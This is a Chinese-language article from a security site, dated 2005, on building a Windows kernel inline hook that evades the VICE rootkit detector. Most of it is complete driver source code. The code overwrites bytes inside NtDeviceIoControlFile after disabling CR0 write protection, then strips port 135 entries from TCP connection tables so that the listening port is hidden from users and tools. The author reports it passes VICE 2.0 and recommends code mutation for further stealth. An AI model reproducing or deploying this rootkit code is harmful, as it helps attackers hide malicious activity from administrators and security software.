xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
添加文章 Xcon English Version

kernel inline hook 绕过vice检测


创建时间:2005-11-05
文章属性:原创
文章提交:jqzmb (jqzmb_at_163.com)

kernel inline hook 绕过vice检测
                   uty@uaty
                       zmba@tom.com
在user mode的inline hook比较好用,因为很少有多线程的问题,所以可以采用把API前5字节改为跳转指令到自己的函数中,然后再改回原来的5个字节,调用原函数后在把前5个字节改为跳转指令为下次做好准备,过程大概如下
比如hook API(),我们的函数为myAPI()
修改API()前5字节为jmp xxxx(指向myAPI()),  1
        |
        |
         调用API()                   2
        |
        |
   跳转到myAPI()                      3
        |
        |
   (myAPI()中)改回原来的5字节          4
        |
        |
           ...  一些操作                   5
        |
        |
   (myAPI()中)调用API()               6
        |
        |
           .... 一些操作                        7
        |
        |
   (myAPI()中)再次修改API前5字节为jmp xxxx(指向myAPI())        8
        |
        |
       结束                                                   9

这个过程在kernel就不那么方便了,很不稳定,因为系统服务是整个windows都会经常调用,n多线程,如果一个线程调用了被hook的系统服务,当运行到
4--8之间的时候,线程被切换,另一个线程再次调用相同的系统服务时就会出现系统服务没被hook的情况.如果正好在执行到4或8的时候被中断,在其他
线程调用系统服务的时候就可能是BSOD了 :)  如果说是提高irql或block其他线程,总不能每次都那样吧 听说是这样的hook很不稳定,自己倒还没试
过,不知道实际情况到底怎样

看到了Greg Hoglund的migsys.sys 的确是个好程序,里面的hook只需要改写一次就可以一直hook,稳定性很好,我在虚拟机上实验,没问题,不过扁要赶上改写那一次的时候被中断....哎 只能说点背migsys.c里在驱动加载后改写系统服务的前5个字节跳转到自己给出的hook 函数中,拿NtDeviceIoControlFile为例,hook函数为
__declspec(naked) my_function_detour_ntdeviceiocontrolfile()
{
    __asm
    {  
        // exec missing instructions
        push ebp
            mov  ebp, esp
            push 0x01
            push dword ptr [ebp+0x2C]
            
            // jump to re-entry location in hooked function
            // this gets 'stamped' with the correct address
            // at runtime.
            //
            // we need to hard-code a far jmp, but the assembler
            // that comes with the DDK will not poop this out
            // for us, so we code it manually
            // jmp FAR 0x08:0xAAAAAAAA
            _emit 0xEA
            _emit 0xAA
            _emit 0xAA
            _emit 0xAA
            _emit 0xAA
            _emit 0x08
            _emit 0x00
    }
}
注意到
__emit 0xEA
__emit 0xAA
__emit 0xAA
__emit 0xAA
__emit 0xAA
__emit 0x08
__emit 0x00
这是一句跳转语句 jmp 0008:AAAAAAAA
在驱动开始的时候就会寻找AAAAAAAA,把这里改写为被hook的NtDeviceIoControlFile+8的位置,这样在系统调用NtDeviceIoControlFile直接jmp到my_function_detour_ntdeviceiocontrolfile,接着执行
push ebp,esp
push 0x01
push dword ptr [ebp+0x2c]  (共8字节,不同版本windows的函数可能会有变化)
接下来jmp到NtDeviceIoControlFile+8,由于my_function_detour_ntdeviceiocontrolfile是__declspec(naked),
所以在进入后堆栈不会被改变,相当于执行了一个完整的NtDeviceIoControlFile.只不过前8个字节执行的地方不同 :>
我们可以在 push ebp前直接做些我们要的操作,不可以用局部变量,调用函数,对传入NtDeviceIoControlFile的参数做处理或者过滤之类的操作.
    但对于hook NtDeviceIoControlFile来实现隐藏端口和连接,我们是在调用成功后对结果进行过滤,而在jmp到NtDeviceIoControlFile+8后,我们就交出了程序的控制权.所以必须要让它执行完后再次转到我们的程序里.如果执行后要返回的话,就要用cAll指令,但cAll NtDeviceIoControlFile+8是不行的,被压入栈的返回地址放在了进栈的ebp的后面,乱了.这个办法行不通.
    肯定会有不同的方法来完成,我现在只想到了一个,并且希望让编译器帮着做大部分事,,我只用c就好了 ;)
模仿这种:
NTSTATUS NTAPI myNtDeviceIoControlFile(
                                IN HANDLE FileHandle,
                                IN HANDLE Event OPTIONAL,
                                IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
                                IN PVOID ApcContext OPTIONAL,
                   OUT PIO_STATUS_BLOCK IoStatusBlock,
                                       IN ULONG IoControlCode,
                   IN PVOID InputBuffer OPTIONAL,
                   IN ULONG InputBufferLength,
                   OUT PVOID OutputBuffer OPTIONAL,
                   IN ULONG OutputBufferLength
                    )
{
    NTSTATUS rc;
    rc = NtDeviceIoControlFile(
        FileHandle,
        Event,
        ApcRoutine,
        ApcContext,
        IoStatusBlock,
        IoControlCode,
        InputBuffer,
        InputBufferLength,
        OutputBuffer,
        OutputBufferLength
        );
...
}
然后我们可以对返回值做一些操作,就相当在我们的函数里调用了NtDeviceIoControlFile
NtDeviceIoControlFile有10个参数,调用时堆栈应该是这个样
Arg10
Arg9
Arg8
Arg7
Arg6
Arg5
Arg4
Arg3
Arg2
Arg1
ret Address
因为在系统调用的时候就已经压好了参数,所以我们的hook函数就不能自己再做了,要声名__declspec(naked),参数要和原函数一致.进入后模拟
cAll NtDeviceIoControlFile
__asm
{
    push OutputBufferLength
    push OutputBuffer
    push InputBufferLength
    push InputBuffer
    push IoControlCode
    push IoStatusBlock
    push ApcContext
    push ApcRoutine
    push Event
    push FileHandle
}
然后是ret Address,这个需要在运行时确定,用到了病毒中常用的定位的方法:
    cAll forwArd:
bAck:
    pop eAx
    ...
forwArd:
    jmp bAck:

得到pop eAx所在的位置
在我们的程序中:
__asm
{
    //int 3
    jmp forwArd
bAck:
    
}

__asm
{  
    // exec missing instructions
    push ebp
        mov  ebp, esp
        push 0x01
        push dword ptr [ebp+0x2C]
        
        // jump to re-entry location in hooked function
        // this gets 'stamped' with the correct address
        // at runtime.
        //
        // we need to hard-code a far jmp, but the assembler
        // that comes with the DDK will not poop this out
        // for us, so we code it manually
        // jmp FAR 0x08:0xAAAAAAAA
        _emit 0xEA
        _emit 0xAA
        _emit 0xAA
        _emit 0xAA
        _emit 0xAA
        _emit 0x08
        _emit 0x00
}
//////////////////////////
__asm
{
forwArd:
    call bAck
}
实现了一个完整的cAll NtDeviceIoControlFile :>

__declspec(naked) my_function_detour_ntdeviceiocontrolfile(IN HANDLE FileHandle,
                                                           IN HANDLE Event OPTIONAL,
                                                           IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
                                                           IN PVOID ApcContext OPTIONAL,
                                                           OUT PIO_STATUS_BLOCK IoStatusBlock,
                                                           IN ULONG IoControlCode,
                                                           IN PVOID InputBuffer OPTIONAL,
                                                           IN ULONG InputBufferLength,
                                                           OUT PVOID OutputBuffer OPTIONAL,
                                                           IN ULONG OutputBufferLength
                                                           )
{
    
    //NTSTATUS rc;                    这里不能用局部变量,因为NtDeviceIoControlFile被调用的    环境可不确定,可以用全局变量(我们的Driver用服务的方式加载会在nonpAgedpool中或者直接在nonpAgedPool中申请
    //TCP_REQUEST_QUERY_INFORMATION_EX req;
    //TCPAddrEntry* TcpTable;// = NULL;
    //TCPAddrExEntry* TcpExTable;// = NULL;
    //ULONG numconn;
    //ULONG i;
    __asm
    {

        push ebp
        mov ebp,esp
    }
                            
    //DbgPrint("hooked\n");
    
    __asm
    {
        push OutputBufferLength
        push OutputBuffer
        push InputBufferLength
        push InputBuffer
        push IoControlCode
        push IoStatusBlock
        push ApcContext
        push ApcRoutine
        push Event
        push FileHandle
    }
    __asm
    {
        //int 3
        jmp forwArd
bAck:

    }

    __asm
    {        
        //popfd
            //popad
        // exec missing instructions
            push ebp
            mov  ebp, esp
            push 0x01
            push dword ptr [ebp+0x2C]
            
            // jump to re-entry location in hooked function
            // this gets 'stamped' with the correct address
            // at runtime.
            //
            // we need to hard-code a far jmp, but the assembler
            // that comes with the DDK will not poop this out
            // for us, so we code it manually
            // jmp FAR 0x08:0xAAAAAAAA
            _emit 0xEA
            _emit 0xAA
            _emit 0xAA
            _emit 0xAA
            _emit 0xAA
            _emit 0x08
            _emit 0x00
    }
//////////////////////////
    __asm
    {
forwArd:
        call bAck
    }
    /*
    __asm
        {
            mov esp,ebp
            pop ebp
            ret 0x28
    }
    */
    //DbgPrint("once here :>\n");
    
    __asm
    {
        mov rc,eax
    }
    
    if(IoControlCode != IOCTL_TCP_QUERY_INFORMATION_EX){
        //return(rc);
        __asm
        {
            mov esp,ebp
            pop ebp
            mov eax,rc
            ret 0x28
        }
    }
    
    //TcpTable = NULL;
    //TcpExTable = NULL;

    if( NT_SUCCESS( rc ) ) {
        req.ID.toi_entity.tei_entity = CO_TL_ENTITY;
        req.ID.toi_entity.tei_instance = 0;
        req.ID.toi_class = INFO_CLASS_PROTOCOL;
        req.ID.toi_type = INFO_TYPE_PROVIDER;
        req.ID.toi_id = TCP_MIB_ADDRTABLE_ENTRY_ID;
        
        if(sizeof(TDIObjectID) == RtlCompareMemory(InputBuffer,&req,sizeof(TDIObjectID))){
            numconn = IoStatusBlock->Information/sizeof(TCPAddrEntry);
            TcpTable = (TCPAddrEntry*)OutputBuffer;
            
            for( i=0; i<numconn; i++ ){
                if( ntohs(TcpTable[i].tae_ConnLocalPort) == 135 ) {
                    //判断是否是最后一个
                    if (i != numconn -1){
                        RtlCopyMemory((TcpTable+i),(TcpTable+i+1),((numconn-i-1)*sizeof(TCPAddrEntry)));
                        numconn--;
                        i--;
                    }else{
                        numconn--;
                    }
                }
            }         
            IoStatusBlock->Information = numconn*sizeof(TCPAddrEntry);
            //return(rc);
            __asm
            {
                mov esp,ebp
                pop ebp
                mov eax,rc
                ret 0x28
            }
        }         
    }
    
    //return(rc);
    __asm
    {
        mov esp,ebp
        pop ebp
        mov eax,rc
        ret 0x28
    }

}

声名__declspec(naked)的函数是不能用return语句的,因此这个工作得自己做 :>

上面的方法相比直接改SSDT就隐蔽些了,但被vice查出来,太容易被发现,当然可以用变形的方法来替换jmp,比如push xxxx,ret 其他的很多方法,虑到除了变形外还可以把改写的位置放在其他位置上,比如从被hook的函数开始的第8个字节的几个字节改写成jmp xxxx,位置是不固定的,要看具体情况而定,比如
NtDeviceIoControlFile,
nt!NtDeviceIoControlFile:
805997c4 55               push    ebp
805997c5 8bec             mov     ebp,esp
805997c7 6a01             push    0x1
805997c9 ff752c           push    dword ptr [ebp+0x2c]
805997cc ff7528           push    dword ptr [ebp+0x28]
805997cf ff7524           push    dword ptr [ebp+0x24]
805997d2 ff7520           push    dword ptr [ebp+0x20]
805997d5 ff751c           push    dword ptr [ebp+0x1c]
805997d8 ff7518           push    dword ptr [ebp+0x18]
805997db ff7514           push    dword ptr [ebp+0x14]
805997de ff7510           push    dword ptr [ebp+0x10]
805997e1 ff750c           push    dword ptr [ebp+0xc]
805997e4 ff7508           push    dword ptr [ebp+0x8]
805997e7 e8e731ffff       call    nt!IopXxxControlFile (8058c9d3)
805997ec 5d               pop     ebp
805997ed c22800           ret     0x28
805997f0 0f862334ffff     jbe     nt!IopXxxControlFile+0x570 (8058cc19)
...

前面这么多push 语句都可以用来改成jmp xxxx或类似的语句,直要不让它执行到cAll就行了,,因为一但cAll就做出了很多操作,不好往回改了
比如选定
805997cc ff7528           push    dword ptr [ebp+0x28]
805997cf ff7524           push    dword ptr [ebp+0x24]
805997d2 ff7520           push    dword ptr [ebp+0x20]
这9个字节改写为0xEA, 0x44, 0x33, 0x22, 0x11, 0x08, 0x00, 0x90,0x90 11223344被换成我们的函数的地址,一定要用整数条语句的空间
当调用NtDeviceIoControlFile后跳转到我们的函数时,实际上已经执行了这几条语句了
805997c4 55               push    ebp
805997c5 8bec             mov     ebp,esp
805997c7 6a01             push    0x1
805997c9 ff752c           push    dword ptr [ebp+0x2c]
所以要执行对应相反的语句来恢复堆栈
__asm
{
    add esp,8
    mov esp,ebp
    pop ebp
}
然后和原来的方法一样模拟cAll NtDeviceIoControlFile的过程,把丢掉的语句都补上.
在自己的xp sp1下vice2.0通过,结合变形,效果会更好吧 :>
代码如下:
////////////inline_hook.c///////////////
#include <ntddk.h>
#include "hideport_hook_ZwDeviceIoControlFile.h"

NTSTATUS rc;
TCP_REQUEST_QUERY_INFORMATION_EX req;
TCPAddrEntry* TcpTable = NULL;
TCPAddrExEntry* TcpExTable = NULL;
ULONG numconn;
ULONG i;
//--------------------------------------------------------------------
NTSYSAPI
NTSTATUS
NTAPI
NtDeviceIoControlFile(
                      IN HANDLE hFile,
                      IN HANDLE hEvent OPTIONAL,
                      IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
                      IN PVOID IoApcContext OPTIONAL,
                      OUT PIO_STATUS_BLOCK pIoStatusBlock,
                      IN ULONG DeviceIoControlCode,
                      IN PVOID InBuffer OPTIONAL,
                      IN ULONG InBufferLength,
                      OUT PVOID OutBuffer OPTIONAL,
                      IN ULONG OutBufferLength
                      );


NTSTATUS CheckFunctionBytesNtDeviceIoControlFile()
{
    int i=0;
    char *p = (char *)NtDeviceIoControlFile;
    
    //The beginning of the NtDeviceIoControlFile function
    //should match:
    //55  PUSH EBP
    //8BEC  MOV EBP, ESP
    //6A01  PUSH 01
    //FF752C PUSH DWORD PTR [EBP + 2C]
    
    char c[] = { 0x55, 0x8B, 0xEC, 0x6A, 0x01, 0xFF, 0x75, 0x2C };
    
    while(i<8)
    {
        DbgPrint(" - 0x%02X ", (unsigned char)p[i]);
        DbgPrint("\n");
        if(p[i] != c[i])
        {
            return STATUS_UNSUCCESSFUL;
        }
        i++;
    }
    return STATUS_SUCCESS;
}
//--------------------------------------------------------------------
// naked functions have no prolog/epilog code - they are functionally like the
// target of a goto statement
__declspec(naked) NTAPI my_function_detour_ntdeviceiocontrolfile(IN HANDLE FileHandle,
                                                           IN HANDLE Event OPTIONAL,
                                                           IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
                                                           IN PVOID ApcContext OPTIONAL,
                                                           OUT PIO_STATUS_BLOCK IoStatusBlock,
                                                           IN ULONG IoControlCode,
                                                           IN PVOID InputBuffer OPTIONAL,
                                                           IN ULONG InputBufferLength,
                                                           OUT PVOID OutputBuffer OPTIONAL,
                                                           IN ULONG OutputBufferLength
                                                           )
{
    
    //NTSTATUS rc;
    //TCP_REQUEST_QUERY_INFORMATION_EX req;
    //TCPAddrEntry* TcpTable;// = NULL;
    //TCPAddrExEntry* TcpExTable;// = NULL;
    //ULONG numconn;
    //ULONG i;
    __asm
    {
        add esp,8
        mov esp,ebp
        pop ebp
    }

    __asm
    {
        push ebp
        mov ebp,esp
        pushad
    }

    //DbgPrint("hooked\n");
    
    __asm
    {
        push OutputBufferLength
        push OutputBuffer
        push InputBufferLength
        push InputBuffer
        push IoControlCode
        push IoStatusBlock
        push ApcContext
        push ApcRoutine
        push Event
        push FileHandle
    }
    __asm
    {
        //int 3
        jmp forwArd
bAck:

    }

    __asm
    {  
        // exec missing instructions
            push ebp
            mov  ebp, esp
            push 0x01
            push dword ptr [ebp+0x2C]
            push dword ptr [ebp+0x28]
            push dword ptr [ebp+0x24]
            push dword ptr [ebp+0x20]
            
            // jump to re-entry location in hooked function
            // this gets 'stamped' with the correct address
            // at runtime.
            //
            // we need to hard-code a far jmp, but the assembler
            // that comes with the DDK will not poop this out
            // for us, so we code it manually
            // jmp FAR 0x08:0xAAAAAAAA
            _emit 0xEA
            _emit 0xAA
            _emit 0xAA
            _emit 0xAA
            _emit 0xAA
            _emit 0x08
            _emit 0x00
    }
//////////////////////////
    __asm
    {
forwArd:
        call bAck
    }
    //DbgPrint("once here :>\n");
    __asm
    {
        mov rc,eax
    }
    
    if(IoControlCode != IOCTL_TCP_QUERY_INFORMATION_EX){
        //return(rc);
        __asm
        {
            popad
            mov esp,ebp
            pop ebp
            mov eax,rc
            ret 0x28
        }
    }
        
    if( NT_SUCCESS( rc ) ) {
        req.ID.toi_entity.tei_entity = CO_TL_ENTITY;
        req.ID.toi_entity.tei_instance = 0;
        req.ID.toi_class = INFO_CLASS_PROTOCOL;
        req.ID.toi_type = INFO_TYPE_PROVIDER;
        req.ID.toi_id = TCP_MIB_ADDRTABLE_ENTRY_ID;
        
        if(sizeof(TDIObjectID) == RtlCompareMemory(InputBuffer,&req,sizeof(TDIObjectID))){
            numconn = IoStatusBlock->Information/sizeof(TCPAddrEntry);
            TcpTable = (TCPAddrEntry*)OutputBuffer;
            
            for( i=0; i<numconn; i++ ){
                if( ntohs(TcpTable[i].tae_ConnLocalPort) == 135 ) {
                    //判断是否是最后一个
                    if (i != numconn -1){
                        RtlCopyMemory( (TcpTable+i), (TcpTable+i+1), ((numconn-i-1)*sizeof(TCPAddrEntry)) );
                        numconn--;
                        i--;
                    }else{
                        numconn--;
                    }
                }
            }         
            IoStatusBlock->Information = numconn*sizeof(TCPAddrEntry);
            //return(rc);
            __asm
            {
                popad
                mov esp,ebp
                pop ebp
                mov eax,rc
                ret 0x28
            }
        }
    
        req.ID.toi_id = TCP_MIB_ADDRTABLE_ENTRY_EX_ID;
        
        if(sizeof(TDIObjectID) == RtlCompareMemory(InputBuffer,&req,sizeof(TDIObjectID))){
            numconn = IoStatusBlock->Information/sizeof(TCPAddrExEntry);
            TcpExTable = (TCPAddrExEntry*)OutputBuffer;
            
            for( i=0; i<numconn; i++ ) {
                if( ntohs(TcpExTable[i].tae_ConnLocalPort) == 135 ) {  
                    if (i != numconn){
                        RtlCopyMemory( (TcpExTable+i), (TcpExTable+i+1), ((numconn-i-1)*sizeof(TCPAddrExEntry)) );
                        numconn--;
                        i--;
                    }else{
                        numconn--;
                    }
                }
            }
            
            IoStatusBlock->Information = numconn*sizeof(TCPAddrExEntry);
            //return(rc);
            __asm
            {
                popad
                mov esp,ebp
                pop ebp
                mov eax,rc
                ret 0x28
            }
        }
    }

    //return(rc);
    __asm
    {
        popad
        mov esp,ebp
        pop ebp
        mov eax,rc
        ret 0x28
    }

}
//--------------------------------------------------------------------
VOID DetourFunctionNtDeviceIoControlFile()
{
    char *actual_function = (char *)NtDeviceIoControlFile;
    unsigned long detour_address;
    unsigned long reentry_address;
    int i = 0;
    
    // assembles to jmp far 0008:11223344 where 11223344 is address of
    // our detour function, plus one NOP to align up the patch
    char newcode[] = { 0xEA, 0x44, 0x33, 0x22, 0x11, 0x08, 0x00, 0x90,0x90 };
    
    // reenter the hooked function at a location past the overwritten opcodes
    // alignment is, of course, very important here
    reentry_address = ((unsigned long)NtDeviceIoControlFile) + 17;

    detour_address = (unsigned long)my_function_detour_ntdeviceiocontrolfile;
    
    // stamp in the target address of the far jmp
    *( (unsigned long *)(&newcode[1]) ) = detour_address;
    
    // now, stamp in the return jmp into our detour
    // function
    for(i=0;i<200;i++){
        if( (0xAA == ((unsigned char *)my_function_detour_ntdeviceiocontrolfile)[i]) &&
            (0xAA == ((unsigned char *)my_function_detour_ntdeviceiocontrolfile)[i+1]) &&
            (0xAA == ((unsigned char *)my_function_detour_ntdeviceiocontrolfile)[i+2]) &&
            (0xAA == ((unsigned char *)my_function_detour_ntdeviceiocontrolfile)[i+3]))
        {
            // we found the address 0xAAAAAAAA
            // stamp it w/ the correct address
            *( (unsigned long *)(&((unsigned char *)my_function_detour_ntdeviceiocontrolfile)[i]) ) = reentry_address;
            break;
        }
    }
    
    //TODO, raise IRQL
    
    //overwrite the bytes in the kernel function
    //to apply the detour jmp
    _asm
    {
        CLI //dissable interrupt
        MOV EAX, CR0 //move CR0 register into EAX
        AND EAX, NOT 10000H //disable WP bit
        MOV CR0, EAX //write register back
    }
    for(i=8;i < 17;i++)
    {
        actual_function[i] = newcode[i-8];
    }
    _asm
    {
        MOV EAX, CR0 //move CR0 register into EAX
        OR EAX, 10000H //enable WP bit
        MOV CR0, EAX //write register back
        STI //enable interrupt
    }
    
    //TODO, drop IRQL
}

VOID UnDetourFunction()
{
    //TODO!
}
//--------------------------------------------------------------------
VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
{
    DbgPrint("My Driver Unloaded!\n");    
    UnDetourFunction();
}
//--------------------------------------------------------------------
NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )
{
    DbgPrint("My Driver Loaded!");
    
    // TODO!! theDriverObject->DriverUnload = OnUnload;
    
    if(STATUS_SUCCESS != CheckFunctionBytesNtDeviceIoControlFile()){
        DbgPrint("Match Failure on NtDeviceIoControlFile!\n");
        return STATUS_UNSUCCESSFUL;
    }

    DetourFunctionNtDeviceIoControlFile();
    
    return STATUS_SUCCESS;
}
//--------------------------------------------------------------------

//////////hideport_hook_ZwDeviceIoControlFile.h/////////////
#include <ntddk.h>

//--------------------------------------------------------------------
NTSYSAPI
NTSTATUS
NTAPI
ZwDeviceIoControlFile(
                      IN HANDLE FileHandle,
                      IN HANDLE Event OPTIONAL,
                      IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
                      IN PVOID ApcContext OPTIONAL,
                      OUT PIO_STATUS_BLOCK IoStatusBlock,
                      IN ULONG IoControlCode,
                      IN PVOID InputBuffer OPTIONAL,
                      IN ULONG InputBufferLength,
                      OUT PVOID OutputBuffer OPTIONAL,
                      IN ULONG OutputBufferLength
                      );
NTSTATUS NTAPI
myZwDeviceIoControlFile(
                        IN HANDLE FileHandle,
                        IN HANDLE Event OPTIONAL,
                        IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
                        IN PVOID ApcContext OPTIONAL,
                        OUT PIO_STATUS_BLOCK IoStatusBlock,
                        IN ULONG IoControlCode,
                        IN PVOID InputBuffer OPTIONAL,
                        IN ULONG InputBufferLength,
                        OUT PVOID OutputBuffer OPTIONAL,
                        IN ULONG OutputBufferLength
                        );
typedef NTSTATUS (NTAPI *ZWDEVICEIOCONTROLFILE)(
                                                IN HANDLE FileHandle,
                                                IN HANDLE Event OPTIONAL,
                                                IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
                                                IN PVOID ApcContext OPTIONAL,
                                                OUT PIO_STATUS_BLOCK IoStatusBlock,
                                                IN ULONG IoControlCode,
                                                IN PVOID InputBuffer OPTIONAL,
                                                IN ULONG InputBufferLength,
                                                OUT PVOID OutputBuffer OPTIONAL,
                                                IN ULONG OutputBufferLength
                                                );
//--------------------------------------------------------------------
// jiurl // from addrconv.cpp
#define ntohs(s) ( ( ((s) >> 8) & 0x00FF ) | ( ((s) << 8) & 0xFF00 ) )


// jiurl // from tcpioctl.h tdiinfo.h tdistat.h
#define IOCTL_TCP_QUERY_INFORMATION_EX 0x00120003

//* Structure of an entity ID.
typedef struct TDIEntityID {
    ULONG tei_entity;
    ULONG tei_instance;
} TDIEntityID;

//* Structure of an object ID.
typedef struct TDIObjectID {
    TDIEntityID toi_entity;
    ULONG toi_class;
    ULONG toi_type;
    ULONG toi_id;
} TDIObjectID;

#define CONTEXT_SIZE 16
//
// QueryInformationEx IOCTL. The return buffer is passed as the OutputBuffer
// in the DeviceIoControl request. This structure is passed as the
// InputBuffer.
//
struct tcp_request_query_information_ex {
    TDIObjectID ID; // object ID to query.
    ULONG_PTR Context[CONTEXT_SIZE/sizeof(ULONG_PTR)]; // multi-request context. Zeroed
    // for the first request.
};

typedef struct tcp_request_query_information_ex
TCP_REQUEST_QUERY_INFORMATION_EX,
*PTCP_REQUEST_QUERY_INFORMATION_EX;

#define CO_TL_ENTITY 0x400
#define INFO_CLASS_PROTOCOL 0x200
#define INFO_TYPE_PROVIDER 0x100

//--------------------------------------------------------------------

typedef struct TCPSNMPInfo {
    ULONG tcpsi_RtoAlgorithm;
    ULONG tcpsi_RtoMin;
    ULONG tcpsi_RtoMax;
    ULONG tcpsi_MaxConn;
    ULONG tcpsi_ActiveOpens;
    ULONG tcpsi_PassiveOpens;
    ULONG tcpsi_AttemptFails;
    ULONG tcpsi_EstabResets;
    ULONG tcpsi_CurrEstab;
    ULONG tcpsi_InSegs;
    ULONG tcpsi_OutSegs;
    ULONG tcpsi_RetransSegs;
    ULONG tcpsi_unknown1;
    ULONG tcpsi_unknown2;
    ULONG tcpsi_numconn;
} TCPSNMPInfo;

#define tcpRtoAlgorithm_other 1 // none of the following
#define tcpRtoAlgorithm_constant 2 // a constant rto
#define tcpRtoAlgorithm_rsre 3 // MIL-STD-1778, Appendix B
#define tcpRtoAlgorithm_vanj 4 // Van Jacobson's algorithm

#define TCP_MIB_STATS_ID 1
#define TCP_MIB_ADDRTABLE_ENTRY_ID 0x101
#define TCP_MIB_ADDRTABLE_ENTRY_EX_ID 0x102


typedef struct TCPAddrEntry {
    ULONG tae_ConnState;
    ULONG tae_ConnLocalAddress;
    ULONG tae_ConnLocalPort;
    ULONG tae_ConnRemAddress;
    ULONG tae_ConnRemPort;
} TCPAddrEntry;

#define tcpConnState_closed 1
#define tcpConnState_listen 2
#define tcpConnState_synSent 3
#define tcpConnState_synReceived 4
#define tcpConnState_established 5
#define tcpConnState_finWait1 6
#define tcpConnState_finWait2 7
#define tcpConnState_closeWait 8
#define tcpConnState_lastAck 9
#define tcpConnState_closing 10
#define tcpConnState_timeWait 11
#define tcpConnState_deleteTCB 12

typedef struct TCPAddrExEntry {
    ULONG tae_ConnState;
    ULONG tae_ConnLocalAddress;
    ULONG tae_ConnLocalPort;
    ULONG tae_ConnRemAddress;
    ULONG tae_ConnRemPort;
    ULONG pid;
} TCPAddrExEntry;